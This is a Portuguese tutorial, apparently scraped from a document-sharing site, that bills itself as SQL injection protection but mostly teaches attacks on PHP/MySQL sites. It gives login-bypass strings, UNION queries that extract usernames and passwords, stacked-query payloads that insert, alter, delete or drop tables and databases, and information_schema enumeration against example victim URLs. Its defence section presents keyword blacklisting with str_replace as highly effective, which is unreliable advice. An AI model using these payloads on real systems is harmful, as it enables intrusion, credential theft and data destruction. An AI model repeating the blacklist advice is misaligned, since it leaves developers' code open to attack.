Vous êtes sur la page 1sur 35

Segurana em rede

Protegendo-se contra sqlinjection

Por: Juancarloscunha juancarloscunha.wordpress.com

ndice
Criando uma query Principio do sqlinjection Criando um sistema de login E senha para testes Burlar uma query Burlar um sistema de login e senha Usando parmetro UNION Inserindo dados no banco de dados sem permisso Alterando dados do banco de dados sem permisso Excluindo dados do banco de dados sem permisso Excluindo tabelas do banco de dados sem permisso Excluindo database sem permisso Descobrir nome das colunas do banco de dados Descobrir nomes de tabelas do banco de dados Protegendo dados do banco Emunizando site, sistema... do sqlinjection Proteo na query concluso Pag: 3 Pag: 5 Pag: 6 Pag: 9 Pag: 11 Pag: 16 Pag: 17 Pag: 19 Pag: 21 Pag: 22 Pag: 23 Pag: 24 Pag: 26 pag: 29 pag: 29 pag: 31 pag: 34

Para voc aprender com preciso esta apostila, voc precisa de saber: Bsico em php, Bsico em linguagem de programao e principalmente saber mexer com banco de dados

Criando uma query


Query uma execucao feita no banco de dados, como: Inserir dados do banco de dados, editar dados do banco de dados, deletar dados do banco de dados. Voc pode fazer qualquer coisa que voc quiser com uma query, Por isso quando uma pessoa faz um sqlinjection na query de algum site, ele toma conta do seu site(dependendo si o site tiver inteira conexao com o banco de dados). Comandos bsicos para fazer uma query. Select Insert into Deletar Drop From Where => => => => => => selecionar tabelas inserir dados no banco de dados deletar dados do banco de dados deletar tabela ou database especificar tabelas Parmetros da consulta

Exemplo1: $query_rr = select id, nome, descrio, valor, data, tipo from produtos; Explicao: selecione as colunas(id,nome,descrio,valor,data,tipo) da tabela produtos Exemplo2: $query_rr = INSERT INTO produtos (`nome`,`descricao`, qtd`, `preco`, `status`, `data`) VALUES (NOTEBOOK', 'notebook para pessoas', '3', '1500,00,qunta', 'notebook', quita feira); Explicacao: Insira na tabela produtos, os dados seguintes: NOTEBOOK na coluna nome, notebook para pessoas na coluna descrio, 3 para a coluna qtd, 1500,00 para a coluna preo,notebook para a coluna status, quinta feira para a coluna data.

Exemplo3: $query_rr = delete from produtos where cod='1002'

Explicao: Delete a linha da tabela produtos em que o cod seja igual 1002

Exemplo4: $query_rr Explicao: Delete o banco de dados sistema; = drop database sistema;

Principio do sqlinjection
O principio do sql injection, voc saber o mximo que voc pode sobre banco de dados. Baixe para a sua maquina, o progrma: heidiSQL, ou outro gerenciador de banco de dados. Pois eles ajudar voc a entender muita coisa na injeo de cdigos maliciosos. Para voc aprender a injetar cdigos sql em uma query, voc precisa entender de banco de dados. Assim, voc entenderia como funcionam as consultas sql, e como burlar uma consulta. Para depois conseqentemente aprender a si proteger contra estas pecas raras que saem invadindo todos sistemas que vem pela frente sem saber com quem est mexendo ou muito menos com quem est lidando, Estas peas raras so chamados de lammer. Si voc uma dessas pessoas que querem aprender sql injection, somente para invadir sistemas. Para de ler esta apostila agora.

Criar um sistema de login e senha para nossos testes


Neste Capitulo, preciso voc saber s um pouquinho sobre html e php. Existem dois mtodos para envio de dados, So eles: $_GET, $_POST. Para criar um sistema de login voc precisa saber enviar dados pelo mtodo $_post[dado]; Para voc enviar dados por esse mtodo via post, voc precisa de um formulrio de envio. Ento vamos la. Ns vamos criar o sistema de login em php. Por padro, o cdigo da pagina.php fica assim: Igual ao html: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/ DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>Untitled Document</title> </head> <body> </body> </html> Vamos criar primeiramente um formulrio de envio, e colocar a ao dele(action) para, valida.php. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/ DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>Untitled Document</title> </head> <body> <form id="form1" name="form1" method="post" action="valida.php"> </form> </body>

</html> Agora, dentro do formulrio de envio. Temos que colocar o campo de login e senha, que neste caso ter os nomes de: utilizador(login) e passe(password). E um boto para enviar o formulrio. <form id="form1" name="form1" method="post" action="valida.php"> <input type="text" name="utilizador" /> <input type="text" name="passe" /> <input type="button" value="Submit" name="Submit" /> </form> Criamos a pagina de login.php, e nesta pagina criamos um formulrio enviando os dados(login e senha) para a pagina, valida.php. Agora, vamos criar a pagina valida.php. Na pagina valida.php, temos que receber os dados que enviamos, e depois verificar si estes dados existem no banco de dados. Ento vamos l... Na pagina valida.php, Coloque o cdigo: <?php require_once("connection/local.php");//pagina de conexao com banco de dados $utilizador=$_POST['utilizador']; $passe =$_POST['passe']; $passe=sha1($passe); mysql_select_db($local_database, $local); $query_rr = "SELECT * from usuarios where usuario='$utilizador' and senha='$passe'"; $rr = mysql_query($query_rr, $local) or die(mysql_error()); $row_rr = mysql_fetch_assoc($rr); $totalRows_rr = mysql_num_rows($rr); if($totalRows_rr>""){ header("location:admin/index.php"); }else{ header("location:error.php");

} ?> Na pagina, admin/index.php. Coloque o cdigo: <body> Bem vindo ao sistema. </body> Voc precisa de uma pagina de error. Error.php Coloque o cdigo: <body> Errou a senha<a href=index.php>voltar</a> </body> Seu sistema est pronto. S falta voc colocar uma pasta chamada connection, com documento php chamado local.php. Cdigo da pagina, local.php <?php $local_host $local_database $local_passe $local_user =""; ="root"; ="localhost"; ="teste";

$local =mysql_pconnect($local_host,$local_user,$local_passe) or trigger_error(mysql_error(), E_USER_ERROR); ?> Este so os dados da conexo com o banco de dados Agora, basta rodar um servidor wamp na sua maquina e ver como ficou o seu sistema de login. E tambem voce precisa criar um banco de dados para com as tabelas especificas para voce(agora esta parte voce vai ter que si virar).

Burlar uma query


Para si burlar uma query, dependendo do nvel da query muito fcil. E dependendo do seu nvel de conhecimento em banco de dados ser muito fcil. Para burlar uma query, voc tem que primeiramente aprender sobre a linguagem de programao em banco de dados. Neste curso, tudo que voc vai aprender burlar uma query(sqlinjection). Explicao: Quando um programador faz um recordset(conexo com o banco de dados,query e tudo mais), Ele geralmente pegam dados pelo mtodo GET ou POST para fazer uma interacao com a linguagem de programao do site e do banco de dados. Exemplo: GET => via URL, -- noticias.php?id=1 POST => via formulrio, -- noticias.php Suponha que voc est tentando explorar um site que manda os dados via GET. noticias.php?id=1 A query desta pagina deve estar mais ou menos assim Query_rr=Select id,nome,descricao,data_ini, data_alt from noticias Where id=$id; Este o codigo da interao do banco de dados e php. Para quem no percebeu o cdigo que est depois de noticias.php, ele est jogando o valor 1 para o id. Ento no lugar da varivel $id, voc vai substituir por 1. O cdigo vai ficar assim: Query_rr=Select id,nome,descricao,data_ini, data_alt from noticias Where id=1; Ento, para voc realizar um ataque sql injection voc tem que pensar o seguinte. Qual o cdigo que eu posso colocar nesta query para que esse select tenha uma unio com outras tabelas do banco de dados. Eu j pensei em um cdigo. Tente entender ele. Id=1union select 1,usuario,senha,4,5 from usuarios Os traos no final para deixar o que estiver na frente como comentrio. A query ficar assim:

Query_rr=Select id,nome,descricao,data_ini, data_alt from noticias Where id= 1union select 1,usuario,senha,4,5 from usuarios; Tente entender este cdigo. Leia o capitulo que fala sobre o parametro UNION. Assim voce entender com mais clareza esta query junto do sqlinjection. Leia tambem o capitulo que fala sobre, como listar dados do banco de dados.

Burlar sistema de login e senha


Para voc ententer melhor este capitulo, Eu criei um sistema de login com a mesma lgica de sempre dos programadores normais. Si o login e senha estiver corretos, ento entra no sistema. Si no tiver certo da um ERRO! Geralmente, o sistema de login tem a seguinte query(consulta) no banco de dados. Select * from usuarios where usurio=$usuario and senha=$senha Explicacao > Selecione tudo da tabela usuarios em que o usuario seja igual ao usuario digitado e a senha seja igual a senha digitada. Ento, para burlar esta proteo, faa um cdigo injetando neste outro... Exemplo: Para voc entender melhor o cdigo da vitima. Select * from usuarios where usurio=usuario digitado and senha=senha digitada

Para ter acesso a essa pagina de login e senha, vamos usar os seguintes parametros: -# Or Comentarios Comentrios ou duas aspas simples que quer dizer NADA(ZERO)

Select * from usuarios where usurio= or cod=1 or cod=1-Com esse codigo voce entrar normal no sistema de login e senha. Explicao: Selecione tudo da tabela usuarios em que o usurio seja igual a nada ou a coluna cod seja igual 1 Cdigos sqlinjection:

or1=1 or 1=1 admin and senha!= Esta falha de login e senha, voc pode explorala de varias formas. Em um sistema com login e senha. Para dar mais emoo e facilidade na hora de explorar o sistema. V no site em que este sistema estiver. Pois provavelmente tambm conter uma falha muito maior no site. Em que voc pode descobrir o nome de cada usurio e sua senha

Para quem no entendeu muito bem esta parte da apostila entao, Leia o texto abaixo e tente endender melhor.

muito comum hoje em dia, sites terem uma rea restrita dedicada somente a administradores dos sites a fim de editar o conteudo do site(CMS). Vou mostrar algo aqui neste post, que muitos administradores temeram as pessoas que lerem este tutorial/post. Essa tcnica geralmente chamada de SQL Injection, ou seja, injeo de SQL.

Introducao:
Vamos a prtica: Dentro desse script .asp, o programador colocou algo desse tipo: Cdigo: select id,usurio,senha from usuarios where usurio=$usuario and senha=$senha; Isso acima uma query! Isso verifica se achou um usurio com o login e senha informados Sendo que $usuario o que foi especificado no sistema de login.php, Ento si voc especificar no $usuario um cdigo parecido com esse: Admin -Explicao: Si voc colocar esse cdigo acima no $usuario(Admin--), dependendo do grau de vulnerabilidade no sistema de login e senha. Ele entrara normal, sem dar nenhum erro.

Com este cdigo a query, ficaria assim: Select id,usurio,senha from usuarios where usurio=admin and senha=$senha. Para quem no lembra os dois traos(--), em linguagem de banco de dados, significa que que est na frente so comentrio. Ento na verdade, o que iria valer na query seria. Select id,usurio,senha from usuarios where usurio=admin Ento si existir um usurio no banco de dados chamado admin, o seu sqlinjection ir funcionar normal. Si no funcionar porque no existe este usurio no banco de dados. Ento voc ter que partir para a coleta de informaes do alvo. Tipo: Qual o nome de cada pessoa que utiliza o sistema de login e senha. Si os nomes so: Fernando Algusto Carlos Silvio santos Entao, substitua o admin para um dos nomes acima: Exemplo: Fernando Ou Algusto Ou Carlos Um destes ter que funcionar. Si nenhum destes cdigos funcionar porque o sistema que voc est testando tem um grau de vulnerabilidade menos fcil de si explorar. Entao vamos partir para outro mtodo de explorao. Vamos pensar um pouco: Cdigo: select usuario, senha, nome, admin from Users where usuario= 'geek' and senha= 's3nh4'

Dessa forma, trocamos as variveis cUser e cSenha, pelos seus respectivos contedos. Isso funciona muito bem, quando usado de forma certa. Vale lembrar que de 10 sites que pedem login e

senha, 7 tem essa forma de consulta e esto sujeitos a algum tipo de invaso, dependendo do nvel de acesso que permita aos seus usurios. Ok. Vamos ao erro: Se quando formos digitar um login, tivermos essa string de programao do Sql na cabea, podemos formar outra facilmente, que injeta um comando de Sql, dentro do que o programador j fez. Ou seja, se eu digitar Mario no username, o Sql ficar: Cdigo: select usuario, senha, nome, admin from Users where usuario= 'Mario' and senha= 's3nh4'

Repare que as aspas simples continuam e fazem realmente parte do comando, que mostra ao sql que aquele campo deve ser comparado com um dado do tipo string. Agora, se digitarmos no username Ma'rio (com uma aspa simples no meio), a pgina dar um erro, pois o comando ficaria desse tipo: Cdigo: select usuario, senha, nome, admin from Users where usuario= 'Ma'rio' and senha= 's3nh4' Isso d erro porque, Falando de caracteres como aspas simples e aspas duplas, quando usada voc precisa abrir a aspas e depois fecha-la. Si voc deixar a aspas abertas entao dar erro. Analisando, vemos que quando fomos comparar o campo usurio, abrimos uma aspa simples, colocamos o contedo Ma (Mario) e fechamos a aspa simples. Para o Sql, a comparao terminou a, o que vem depois, deveria ser comandos. Mas no era. Era a continuao do username, a palavra rio e mais uma aspa simples, que deveria estar fechando a primeira (antes da palavra Ma), mas na realidade est abrindo uma nova string no SQL, e como no comparado com nada, o SQL retorna erro de programao. Ento, j que o SQL aguarda ansiosamente por outra aspa simples para fechar aquela primeira, porque ns no damos a ele, e aproveitando, injetamos um comando nele. Imagine se usarmos a string OR1 ficaria assim: Cdigo: select usuario, senha, nome, admin from Users where usuario= '' or '1' and senha= 's3nh4'

Lendo o comando, seria a mesma coisa que falar pro SQL: me retorne o usurio que seja igual a vazio OU 1. Lembrando que 1 em informtica a mesma coisa que True (verdadeiro). Lendo novamente: Me retorne o usurio que seja igual a vazio (no existe nenhum) OU verdadeiro (opa.. verdadeiro verdadeiro, ento achei). Nisso, a tabela pega todos os usurios, pois todos do verdadeiro. No so igual a vazio, mas o 1 garante que todos sejam vlidos. Agora falta s filtrar a senha. Se usarmos a mesma string mgica na senha, ns seremos o primeiro usurio da tabela, pois:

Cdigo: select usuario, senha, nome, admin from Users where usuario= ''or '1' and senha= '' or '1'

Me retorne o usurio que seja igual a vazio (nenhum) OU verdadeiro (todos) E que tenha a senha igual a vazio (nenhum) OU verdadeiro (todos). Isso traz todos os usurios da tabela, porm com o ponteiro no primeiro usurio. Quando fazemos uma tabela de usurios, e colocamos no ar, qual o primeiro usurio que inclumos? Ns mesmos, claro. E com nvel de administrador. E exatamente esse que viramos quando usamos essa falha. Alguns outros casos, so quando queremos entrar com o username de uma determinada pessoa. No username, colocamos o nome dela corretamente, e na senha, como no sabemos, usamos essa string que nos foi enviada por Malm. O SQL, muito esperto, entende que pra retornar o usurio com o nome informado e que tenha uma senha igual a vazio OU verdadeiro. Ou seja, na verdade, ele ir ignorar a senha, e apontar para o registro que o username seja igual ao que foi informando no campo do formulrio. Vou colocar abaixo alguns cdigos para voc colocar no usurio e senha para ter acesso ao banco de dados.

Usuarios: admin or like %%a%% Usuarios: or1=1 Usuarios: or like %%d%% Usuarios: or cod=1 and senha>-Usuarios: > and senha>-Usuarios: or usuario> and senha>--

OBS: Estude estes codigos sqlinjection e tente executar eles em algum sistema que voce mesmo criar. Ou si for utiliza-los em algum sistema alvo. No seja um lammer ou script kiddie que invadem qualquer sistema que vem pela frente s para mostrar que sabem. Voc na precisa mostrar para ningum que voc sabe. As pessoas que precisam ver que voc sabe.

Usando parmetro UNION


Muitas pessoas tentam usar o parmetro UNION no mysql e no consegue s por causa de um erro: selecionar tudo de duas tabelas selecionadas, Exemplo: SELECT * FROM parceiros UNION SELECT * FROM usuarios Isso no tem como a menos que a primeira tabela selecionada tenha o mesmo numero de colunas da segunda tabela. Que quase sempre no vai ser o caso. O certo seria fazer o seguinte. Select cod, nome, valor from parceiros union select cod, usurio, senha from usuarios Neste select, eu seleciono o mesmo numero de tabelas nos dois selects. Por isso que quando voc vai fazer um sql injection via URL, voc precisa primeiro saber o numero de colunas da tabela selecionada. Para descobrir a quantidade de colunas existentes na tabela. Basta fazer o seguinte: Aumentar o codigo Union select 1,2,3,4,5,6,7 Si der algum erro porque a tabela tem mais ou menos que 7 colunas, agora si no der ERRo, voc tem que ir aumentando e diminuindo a quantidade de colunas. No select anterior nos verificamos 7 colunas e no deu erro, ento vamos aumentando de um em um at achar. Depois de achar a quantidade de colunas existentes no primeiro select, voc precisa achar o nome da tabela dos usuarios OU o nome da tabela que voc desejar. No vou entrar em muitos detalhes de sql injection, pois meu propsito no esse aqui neste capitulo.

Inserir dados no banco de dados sem permissao.


Para voc inserir dados no banco de dados, voc precisa dos nomes das colunas, e para descobrir os nome das colunas do banco de dados, no ser neste capitulo que eu irei ensinar. Ento melhor voc da uma espiada na parte que estou ensinando sobre como descobrir nome das colunas e tabelas do banco de dados. Ento vamos l

Aqui est o site de teste que ns vamos usar para inserir dados no banco de dados sem permiao. No sei si voc j sabe, mais eu quero explicar para que serve o ponto e virgula(;) , no mysql. ; Serve para voc terminar uma execuo do banco de dados, e comear outra si assim voc quiser.

Exemplo: Select id,titulo,descricao ,dt_cad,dt_alt from noticias where cod=$cod; insert into noticias (titulo,descricao,dt_cad,dt_alt) values ('tetetetete', 'tetetetetete','tetetetet', '1', 'tetettet', 'tetete');

Ento o mais importante voc j viu, que o uso do ponto e virgula(;). Ento vamos entender o cdigo acima que eu criei.

Em uma mesma query, eu estou selecionando dados do banco de dados, e tambm inserindo dados no banco de dados. 1 - Select id, titulo,descrio,dt_cad,dt_alt from noticias where cod=$cod; 2 - insert into noticias(titulo,descricao,dt_cad,dt_alt) values (titulo da noticia aqui, descricao vai aqui, data de cadastro aqui, data de alterao vai aqui);

Com este cdigo que criei, eu consegui cadastrar uma nova noticia. E depois de cadastrada eu listei a mesma com a funo UNION que j foi explicada. Criei somente uma noticia bsica. Com o dados (tetetetetete), s isso; Obs: Si no der nenhum ERRO. porque inseriu os dados com sucesso. Da, basta voc selecionar os dados que voc inseriu

Editar dados do banco de dados sem permissao


Como vocs j devem ter visto, eu criei um cdigo sql injection para inserir dados no bando de dados sem permisso. Si voc j leu, vai perceber que para editar dados do banco de dados; no ser to difcil quanto pareceu quando voc estava comeando aprender. Como foi j explicado, o ponto e virgula(;) no mysql para finalizar uma execuo e criar outra. Por exemplo: Voc esta selecionando uma devida tabela, porem voc quer tambm editar alguns dados no banco de dados, para isso voc precisa finalizar os dados que voc esta selecionando com ponto e virgula(;), Depois fazer o cdigo para editar os dados do banco de dados.

Exemplo: Neste site acima, j est sendo executada alguma coisa ai, porque tem ate alguns dados listados ai. select cod,nome,descricao,img,status,dt_cadastro,dt_alteracao from fabricante where cod='1'; update fabricante set descricao='deu certo o teste',img='deu certo o teste' where cod='1' Obs: Para aqueles que no gostam de estudar. Uma noticia mal: No d para copiar este cdigo e tentar colar em algum alvo. Pois, cada banco de dados possui dados diferentes.

Excluindo dados do banco de dados sem permissao.


Para excluir dados o mais fcil de todos. Pois voc no precisa saber os nomes das colunas, s da tabela que voc pretende excluir os dados. Ento para saber como descobrir o nome de uma tabela de um banco de dados, basta ir na parte deste curso que fala sobre isso. Explicao: Novamente vai precisar do ponto e virgula(;). Depois de fazer o select do prprio site, voc vai colocar um ponto e virgula(;) para criar outra execuo no banco de dados. O cdigo para excluir dados do banco de dados, esse: ; delete from noticias where cod='1'

Basta alterar os dados para os quais voce quer excluir Si voc quiser excluir tudo que estiver no banco de dados coloque o seguinte cdigo: ; delete from noticias where cod!='0'

OBS: Lembre de colocar no lugar dos espacos o + mais, ou %20 para que no de error, ou use o internet explorer

Excluindo tabelas do db sem permissao


Para deletar tabelas do banco de dados, voce vai fazer quase a mesma coisa do que deletar dados do banco de dados. Porem voc vai ter que usar dois parmetros diferentes. Drop = Table = delete especificando tabela

; drop table noticias

OBS: Vai ser da mesma forma do deletar conteudo das tabelas. Porem mais facil

Excluindo db sem permissao


Para deletar um banco de dados inteiro de um site, dependendo da situao, da muito trabalho. Porque tem que saber o qual o nome do banco de dados(database) Mais depois que voc saber o nome do banco de dados, voc s precisa saber os parmetro. ; drop database <nome do banco de dados>

Obs: de uma olhada na parte do curso que ensina como pegar nome do banco de dados. PARA FICAR MAIS FACIL A SUA COMPEENCAO

Descobrir nome das colunas do banco de dados


Para descobrir os nomes de todas as colunas do banco de dados, tambm uma coisa fcil de fazer. Para saber os nomes das tabelas do banco de dados, vamos usar um cdigo bastante simples tambm, porem um cdigo avanado. Ei-lo ai: union

select 1,TABLE_NAME,3,4,5,6,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where COLUMN_NAME!='KKKKK


Explicacao > _TABLE_NAME > o nome da tabela em que o parametro where, especificar. > nome da coluna em que o parmetro WHERE especificar. em que o nome da tabela seja diferente de kkkkk > _INFORMATION_SCHEMA.COLUMNS _Where column_name!=kkkkk

O LINK NO BROWSER FICARIA ASSIM: http://localhost/teste/index.php?cod=1' union select 1,TABLE_NAME,3,4,5,6,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where COLUMN_NAME!='KKKKK

OBS: Entenda este cdigo, pois si voc entender, voc perceber que voc pode achar qualquer tabela que voc quiser sem muito trabalho

Descobrir nomes de tabelas no banco de dados


Para descobrir quantas tabelas o seu alvo tem criada no sistema. fcil, porem muitas vezes complexa. Ento, vamos la... Muitas vezes, quando voc tenta fazer um ataque de sqlinjection, voc deseja e precisa saber o nome da tabela que esto cadastradas os usuarios. E para descobrir o nome da tabela de usuarios, muitos que esto comeando a praticar ataques sqlinjection acha muito difcil. Porem, de difcil no tem nada. Si difcil ou fcil, isso depende si existe uma vulnerabilidade no sistema. Antes de explicar na pratica, como descobrir os nomes das tabelas, vou explicar os parmetros. TABLE_NAME - este parametro para especificar um nome de alguma tabela que ainda ser chamada. INFORMATION_SCHEMA - Este parametro para saber informacoes no banco de dados. Agora, voc precisa, especificar para este comando, quais informaes deseja saber. TABLE_NAME LIKE %%usu%% - Este parametro para selecionar todas as tabelas em que o nome seja parecido com usu. OBS: Aconcelho a todos quando forem treinar sqlinjection em algum sistema, No saia treinando em sistemas que no conhece. Treine no seu prprio sistema. Crie paginas simples selecionando dados do banco de dados. ____________________________________)________________________________ Vamos a pratica agora. Uma possvel pagina vulnervel a sqlinjection, seria por exemplo. http://www.vitima.com.br/index.php ?cod=1 Geralmente, programadores criam consultas simples, exemplo: Select * from noticias where cod_categoria=$cod Ou seja, SELECIONE TUDO DA TABELA NOTICIAS EM QUE O COD_CATEGORIA SEJA IGUAL AO COD. Para burlar isso em um site vulnervel, a coisa mais fcil do mundo. Esse o site:

Agora eu vou mostrar O CODIGO que vou utilizar junto com o que j est sendo usado.

select * from marca where cod='1' union select 1,2,TABLE_NAME,4,5,6,7,8,9 from INFORMATION_SCHEMA.tables where TABLE_NAME like '%%usu% %'

Explicacao >
Selecione tudo da tabela marca em que o cod seja igual a 1, e tambem selecione colunas 1,2, table_name,4,5,6,7,8,9 da tabela INFORMATION_SCHEMA.tables em que o nome da tabela seja parecido com usu

Nosso cdigo deu certo. Agora, si voc quiser listar todoas as tabelas do banco de dados em que o nome da tabela seja parecido em A Acrescente o cdigo, or table_name like %%a%%

select * from marca where cod='1' union select 1,2,TABLE_NAME,4,5,6,7,8,9 from INFORMATION_SCHEMA.tables where TABLE_NAME like '%%usu% %' or table_name like %%a%%

Para explorar mais coisas sobre esta vulnerabilidade, basta estudar um pouco sobre sql E ver que voc poder fazer tudo nesta vulnerabilidade.

Emunizando site, sistema... do sqlinjection, Protegendo dados do banco, Protegendo sistema de login e senha
Para voc eminizar o seu site,sistema,portal... uma tarefas fcil para quem sabe. Mais mesmo assim, existem muitos grandes genius porai que ainda assim conseguem executar um sqlinjectio contra e sistema... Ento eu vou tentar explicar de uma forma mais pratica de como si livrar de vulnerabilidades de sqlinjection contra seu site.

Existem muitas formas de si combater o sqlinjection. Vou ensinar somente duas maneiras mais fceis de si proteger. Quando voc est lidando com cdigos numricos via GET ou POST. A maneira mais fcil e melhor de si proteger, quando voc for pegar as variveis via GET ou POST, fazer validao si estas variveis so mesmo nmeros. Si no for nmeros porque est havendo um ataque sqlinjection, ento crie uma pagina de alert ao hacker que est tentando invadir seu sistema. Exemplo: ERROR, pois voc est tentando fazer um sqlinjection. Eu gravei alguns dados seu, inclusive o seu ip. Tente mais uma vez e eu te procurarei por toda parte do mundo, com a policia do meu lado.

Faa uma pagina de erro parecida com essa, para aqueles que estiverem tentando invadir sua pagina, ficar com medo. Cdigo de validao numrica: if(!is_numeric($_POST['codigo'])){ header("location:paginaerror.php") }

Outro cdigo de validao numrica: $codigo=(int)$_POST[codigo]; /*pegando varivel via post,si a varivel for numrica*/

Agora, vem a parte mais difcil de si ligar, que as variveis via POST ou GET que no so geralmente numricas.

Ento para, fazer a validao si estas variveis no so um ataque sqlinjection, Faa da seguinte forma as validaes: Use: Str_replace(aser mudado,mudado, $oque foi mudado); Este parmetro acima, para retirar palavras, caracteres que voc no quer que entre na varivel. Vamos a pratica: Codigo validao: $variavelrecebe $variavelrecebe $variavelrecebe $variavelrecebe $variavelrecebe $variavelrecebe $variavelrecebe $variavelrecebe $variavelrecebe $variavelrecebe $variavelrecebe $variavelrecebe =$_POST[variavel]; =str_replace("'","",$variavelrecebe); =str_replace("+","",$variavelrecebe); =str_replace("%","",$variavelrecebe); =str_replace(" ","",$variavelrecebe); =str_replace("-","",$variavelrecebe); =str_replace("select","",$variavelrecebe); =str_replace("update","",$variavelrecebe); =str_replace("drop","",$variavelrecebe); =str_replace("delete","",$variavelrecebe); =str_replace("database","",$variavelrecebe); =str_replace("table","",$variavelrecebe);

Nesta validao acima ns retiramos alguns caracteres especiais e alguns parmetros que geralmente so utilizados no sqlinjection.. Retiramos: aspa simples(), mais(+),porcentagem(%),espao( ), trao(-), select,update, drop, delete,database,table

Para vocs que sabem outros mtodos de proteo contra sqlinjection, mande um email para mim com o cdigo de proteo, para mim dar uma analizada(juancarloscunha606@hotmail.com)

Proteo na query
Existem muitas formas de se proteger contra ataques sqlinjection. Vou explicar uma das mais usadas. Si voc no quer que a pessoa faa com o sql injection, selects a mais do que voc colocou. Basta fazer o seguinte: Ao pegar os dados e colocar em uma varivel, e colocar uma validao, para toda vez que tiver a palavra select na varivel, ento troque por nada. Exemplo: $utilizador $utilizador = $_POST[utilizador];

=str_replace(select,, $utilizador);

Para voc bloquiar todos os ataques, faca varias trocas com a funo str_replace. $utilizador $utilizador $utilizador $utilizador $utilizador $utilizador $utilizador $utilizador $utilizador = $_POST[utilizador];

=str_replace(select,, $utilizador); =str_replace(union,, $utilizador); =str_replace(update,, $utilizador); =str_replace(insert,, $utilizador); =str_replace(;,, $utilizador); =str_replace(,, $utilizador); =str_replace(from,, $utilizador); =str_replace(where,, $utilizador);

Essa uma das protecoes mais eficientes que est tendo hoje. Todo esse cdigo porque estes dados contem nmeros e letras. Agora, quando voc vai pegar um cdigo com somente nmeros de algum lugar. Basta fazer o seguinte: $codigo =$_POST[codigo];

if(!is_numeric($codigo){ header("location: error.php"); } Este cdigo diz: Si o cdigo que eu peguei via post, for diferente de nmeros, Entao manda para uma pagina de erro

Concluso
Em um sistema que voce usa banco de dados, melhor voc tentar si proteger de todas as formas, pois os hackers do mal estao a solta. Esta apostila para voc, ter que ser uma mera motivaco para estudos mais avancados sobre, como proteger um sistema que si conecta no banco de dados. Lendo esta apostila voc deve ter compreendido que, si um sistema,site... no estiver protegido, no muito dificil de algum hacker do mal invadir seu site.

Bibliografia
juancarloscunha.wordpress.com

Segurana em rede
Protegendo-se contra sqlinjection

Por: Juancarloscunha juancarloscunha.wordpress.com

Vous aimerez peut-être aussi